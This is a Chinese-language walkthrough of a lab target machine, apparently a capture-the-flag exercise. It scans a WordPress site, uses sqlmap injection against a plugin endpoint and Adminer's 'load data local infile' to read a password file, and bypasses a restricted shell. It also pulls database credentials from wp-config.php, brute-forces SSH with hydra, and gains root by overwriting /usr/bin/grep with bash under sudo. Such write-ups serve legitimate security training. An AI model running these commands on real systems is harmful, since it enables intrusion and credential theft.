正文
kali攻击机地址:192.168.1.4
靶场地址:192.168.1.7
1、端口扫描
在kali里,使用nmap工具:
bash
nmap -sV -v -T4 -A 192.168.1.7

看到22、80、3306、8000端口是开放的。访问8000端口,是一个wordpress系统:

2、漏洞扫描
扫描这个系统是否存在什么插件漏洞:
bash
wpscan --url http://192.168.1.7:8000/ --plugins-detection aggressive

这里我没有申请API,没拿到漏洞信息,后面知道是sql注入。
3、jimmy用户权限获取
方法(1):sqlmaq注入
在kali里,通过sqlmap注入测试,最后能拿到一个jimmy.txt的文件:
bash
sqlmap -u 'http://192.168.1.7:8000/wp-admin/admin-ajax.php?s=test*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index' --batch --file-read '/etc/jimmy.txt'
cat这个文件,拿到密码:

方法(2):Mysql命令执行漏洞利用
使用gobuster工具扫描:
bash
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://192.168.1.7 -x.php
扫出来3个页面,adminer.php、info.php、reminder.php:


打开info.php,可以发现靶场所用系统版本、php版本、用户身份及权限、当前文件的目录:



打开reminder.php ,没收获:

打开adminder.php ,发现mysql数据库连接表:

kali里修改本地Mysql配置:
bash
vi /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address =0.0.0.0
:wq!
service mariadb start
mysql -uroot -p
进入数据库里操作:
sql
show databases;
create database test;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.1.7' IDENTIFIED BY '123456';
# MariaDB/MySQL 默认只允许 localhost(本机)连接,你的客户端 IP(192.168.1.7)不在服务器的权限列表里,所以会被拒绝访问
#因此,要加一条命令,允许该 IP 访问所有数据库,密码一定要配置
FLUSH PRIVILEGES;
# 刷新权限(必须执行,否则授权不生效)
验证一下是否允许远程登录:
bash
SELECT user, host FROM mysql.user;

看到root用户及靶场IP添加到本地MYSQL访问列表里了,快捷键CTRL+D退出数据库。在网页里,访问数据库:

创建一张名字叫 x 的表,表里只有 1 个字段,名字叫 output,类型是文本,最长存 1024 个字符:
sql
create table x(output varchar(1024));

等待执行成功:

把 jimmy.txt 里的每一行文字,一行一行存进表 x 的 output 字段里。然后,把表 x 里面 所有的行、所有的列 全部查询、显示出来:
sql
show tables;
load data local infile '/etc/jimmy.txt' into table x;
select * from x;
拿到用户jimmy的密码:

4、靶机命令限制绕过
查看一下,盲猜HandsomeHU是用户名jimmy 的密码,登录一手:

登录上去,发现不允许使用ls命令,有点意思:

查看环境变量(尝试绕限制):
bash
echo $PATH

输出 ./...:说明 PATH 被篡改或限制了 ------ 正常 PATH 会是 /usr/bin:/bin 这类路径,现在只有 ./(当前目录),这也是为什么直接输 ls 会被拦(系统找不到合法的 ls 命令路径)。
方法(1):绝对路径绕过
用绝对路径执行 ls(绕过限制):
bash
/bin/ls -al

方法(2):从本地重新SSH登录,强制进入sh壳
用绝对路径执行 ls(绕过限制):
bash
ssh jimmy@192.168.1.7 -t sh

5、数据库代码审计
bash
cd /var/www/wordpress
cat wp-config.php

拿到数据库密码:

进入数据库:

使用数据库查询:
sql
use wordpress;
show tables;
select * from wp_users;

发现用户和凭证等关键信息:

6、用户名密码爆破
凭证解不开,还是爆破用户名对应的密码吧:
bash
hydra -l adminer -P pass.txt ssh://192.168.1.7 -V -I

替换grep文件为bash文件:
bash
ls -l /usr/bin/grep
echo bash > /usr/bin/grep
sudo /usr/bin/grep

最终拿到大权限。
PS:其他知识
-
想要在靶场上执行脚本,直接修改
linpeas.sh文件,把文件里所有的grep字符串,全部替换成egrep:bashsed -i 's/grep/egrep/g' 'linpeas.sh'- sed:
Linux 系统里的文本处理工具,全称 "Stream Editor"(流编辑器),专门用来快速修改 文本内容(替换、删除、新增行等)。 - -i:
sed 的核心参数 → 直接修改文件本身(in-place)。
⚠️ 重点:不加 -i 的话,sed 只会在屏幕上显示修改后的效果,不会真的改文件;加了 -i 才会直接改文件内容(执行前建议备份文件!)。 - 's/grep/egrep/g':
这是 sed 的替换规则,格式是s/旧内容/新内容/替换范围:
s → substitute(替换)的缩写,固定开头;
grep → 要被替换的旧字符串;
egrep → 替换后的新字符串;
g → global(全局)的缩写,表示一行里所有匹配的 grep 都替换(不加 g 只会替换每行第一个 grep)。 - 'linpeas.sh'
要修改的目标文件(linpeas.sh 是 Linux 提权枚举的常用脚本)。
- sed:
-
精准匹配字典中独立的「creds」关键词:
bashgrep -Pnr '^creds$' /usr/share/seclists/Discovery/Web-Content
| 部分 | 含义说明(对比普通 grep 重点讲差异) |
|---|---|
-P |
启用 Perl 正则表达式(支持 ^/$ 等锚点符号); |
-n |
显示匹配行的行号 (输出里的 470:/9672: 就是行号); |
-r |
递归搜索目标目录下的所有文件(包括子目录,比如 /api/ 子目录); |
'^creds$' |
核心:正则精准匹配 (这是和普通 grep creds 最大的区别) - ^:行首锚点(表示一行的开始) - $:行尾锚点(表示一行的结束) - 组合含义:只匹配「整行只有 creds 这一个词」的行 (不会匹配 creds123/admin_creds/creds.php 这类包含 creds 但有其他字符的行); |
/usr/share/seclists/Discovery/Web-Content |
目标路径:Kali 内置的 Seclists 字典库的 Web 目录。 |